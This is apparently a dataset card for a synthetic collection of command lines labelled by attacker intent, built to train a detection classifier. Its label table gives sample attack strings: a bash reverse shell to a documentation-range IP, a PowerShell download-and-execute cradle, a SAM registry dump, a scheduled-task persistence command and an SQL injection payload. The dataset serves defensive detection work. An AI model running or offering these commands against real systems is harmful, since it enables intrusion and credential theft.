Datasets:
Tasks:
Text Classification
Modalities:
Text
Formats:
json
Languages:
English
Size:
10K - 100K
License:
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| license: apache-2.0 | |
| language: | |
| - en | |
| pretty_name: Script & Payload Intent (Synthetic) | |
| size_categories: | |
| - 10K<n<100K | |
| task_categories: | |
| - text-classification | |
| tags: | |
| - cybersecurity | |
| - security | |
| - malware-detection | |
| - command-line | |
| - powershell | |
| - bash | |
| - sql-injection | |
| - mitre-attack | |
| - synthetic | |
| configs: | |
| - config_name: default | |
| data_files: | |
| - split: train | |
| path: data/train.jsonl | |
| - split: validation | |
| path: data/validation.jsonl | |
| - split: test | |
| path: data/test.jsonl | |
| - config_name: challenge | |
| data_files: | |
| - split: test | |
| path: data/challenge.jsonl | |
| # Script & Payload Intent (Synthetic) | |
| Labeled command lines and query fragments from bash, PowerShell, Windows `cmd`, SQL and HTTP request | |
| lines, each tagged with the **intent** behind it. It was built to train | |
| [`DaveyD347/script-intent-distilroberta`](https://huggingface.co/DaveyD347/script-intent-distilroberta), | |
| a classifier that triages process command lines, shell history and WAF logs. | |
| | Label | What it covers | Example | | |
| |---|---|---| | |
| | `benign` | Everyday admin, dev and DBA work, including look-alikes such as `nc -zv`, downloads that aren't executed, base64 and encoded PowerShell | `sudo systemctl restart nginx` | | |
| | `reconnaissance` | Host, user, network, privilege, cloud and AD discovery | `nmap -sV -sC -O 192.0.2.0/24` | | |
| | `credential_harvesting` | LSASS/SAM/NTDS dumping, secrets in files, browsers, cloud metadata, Kerberoasting | `reg save HKLM\SAM C:\Windows\Temp\sam.save` | | |
| | `reverse_shell` | Interactive callbacks to a listener in bash, Python, Perl, PHP, PowerShell, socat and similar | `bash -i >& /dev/tcp/192.0.2.10/4444 0>&1` | | |
| | `persistence` | Cron, systemd, Run keys, scheduled tasks, WMI subscriptions, SSH keys, rogue accounts, web shells | `schtasks /create /tn "Updater" /tr C:\ProgramData\a.exe /sc onlogon` | | |
| | `download_execute` | Fetching a remote payload and running it (stagers, LOLBins, cradles) | `IEX (New-Object Net.WebClient).DownloadString('http://192.0.2.5/a.ps1')` | | |
| | `sql_injection` | Injection payloads as they appear in parameters, queries and request lines | `' UNION SELECT NULL,username,password FROM users-- -` | | |
| ## Splits | |
| | Split | Rows | Templates | Purpose | | |
| |---|---|---|---| | |
| | `train` | 11,760 | 377 | Training (1,680 per class) | | |
| | `validation` | 1,680 | 55 | Model selection | | |
| | `test` | 3,360 | 108 | Final evaluation (480 per class) | | |
| | `challenge` | 73 | n/a | Hand-written, out-of-template stress test | | |
| **The splits are template-disjoint.** Every row comes from one of 540 templates, and each template is | |
| assigned to exactly one split, so the test set measures whether a model generalizes to *command | |
| patterns it never saw* rather than to new IPs or file names in familiar commands. A random split would | |
| inflate scores close to 100%. Exact-duplicate texts across splits are removed. | |
| The `challenge` config holds 73 commands written by hand after the templates were final, with different | |
| IP ranges, tools and phrasing (for example `naabu`, `trufflehog`, `pypykatz`, `finger | cmd` stagers and | |
| `msbuild` loaders). None of them come from a template. It is small, so treat its score as a sanity check, not a benchmark. | |
| ## Fields | |
| | Field | Type | Description | | |
| |---|---|---| | |
| | `text` | string | The command line, script fragment, query or request line | | |
| | `label` | string | One of the seven labels above | | |
| | `label_id` | int | Index of `label` in the order listed above | | |
| | `language` | string | `bash`, `powershell`, `cmd`, `sql` or `http` | | |
| | `mitre_technique` | string or null | MITRE ATT&CK technique ID for malicious rows (null for benign) | | |
| | `template_id` | string | Source template, for group-aware splitting and error analysis | | |
| ## How it was made | |
| 1. **Templates.** 540 hand-written templates: 389 malicious ones, each a known technique documented publicly in | |
| MITRE ATT&CK, Atomic Red Team, Sigma rules or common pentest cheat sheets, plus 151 benign templates | |
| drawn from routine Linux, Windows, container, cloud and SQL administration. | |
| 2. **Slot filling.** IPs, ports, users, domains, paths, file names, service names, tables and base64 | |
| blobs are randomized per row. Base64 slots carry real encodings (UTF-16LE for PowerShell | |
| `-EncodedCommand`) of either malicious or benign commands, so encoded text appears in both classes. | |
| 3. **Augmentation.** Random casing for Windows commands, absolute binary paths, `sudo` prefixes, | |
| `cmd.exe /c` and `powershell.exe -Command` wrappers, doubled spaces, and SQL-injection-specific | |
| prefix, comment, case and whitespace-encoding variants. | |
| Reproduce with `python src/generate_dataset.py --out data --per-class 2400 --seed 42`. | |
| ### Safety and privacy | |
| - **No real infrastructure.** All IPs are RFC 5737 documentation ranges (`192.0.2.0/24`, | |
| `198.51.100.0/24`, `203.0.113.0/24`) in the generated splits and RFC 1918 private ranges in the challenge set; domains use `.example`/`.test` or `example.com`-style names. | |
| - **No real people or secrets.** Usernames, passwords and SSH keys are fake placeholders. | |
| - **No novel tooling.** Every malicious pattern is a publicly documented technique that defenders | |
| already write detections for. The dataset contains command *strings*, not binaries or exploits. | |
| ## Limitations | |
| - **Synthetic distribution.** Real command lines are longer, messier and more varied. Expect lower | |
| accuracy on production telemetry than on this test split. | |
| - **One label per row.** Real attacks chain intents (a cron job that opens a reverse shell is both | |
| persistence and a reverse shell). Each row gets the label of its *primary* intent; a cron entry is | |
| labeled `persistence` even if its payload is a reverse shell. | |
| - **Context-free.** Some commands (`whoami`, `net user`, `sudo -l`) are benign or reconnaissance | |
| depending on who runs them and when. The dataset labels them by their typical use in attack | |
| chains, and the `benign` class includes the most common everyday forms. | |
| - **Obfuscation coverage is shallow.** Heavy obfuscation (Invoke-Obfuscation, string concatenation, | |
| environment-variable tricks) is mostly absent. | |
| - **English, Latin-script only.** Comments and identifiers are English. | |
| ## Intended use | |
| Training and evaluating command-line intent classifiers, detection-engineering prototypes, and | |
| teaching. It should not be the only signal in a production detection pipeline. | |
| ## Citation | |
| ```bibtex | |
| @misc{script_intent_2026, | |
| title = {Script & Payload Intent (Synthetic)}, | |
| author = {DaveyD347}, | |
| year = {2026}, | |
| url = {https://huggingface.co/datasets/DaveyD347/script-intent-commands} | |
| } | |
| ``` | |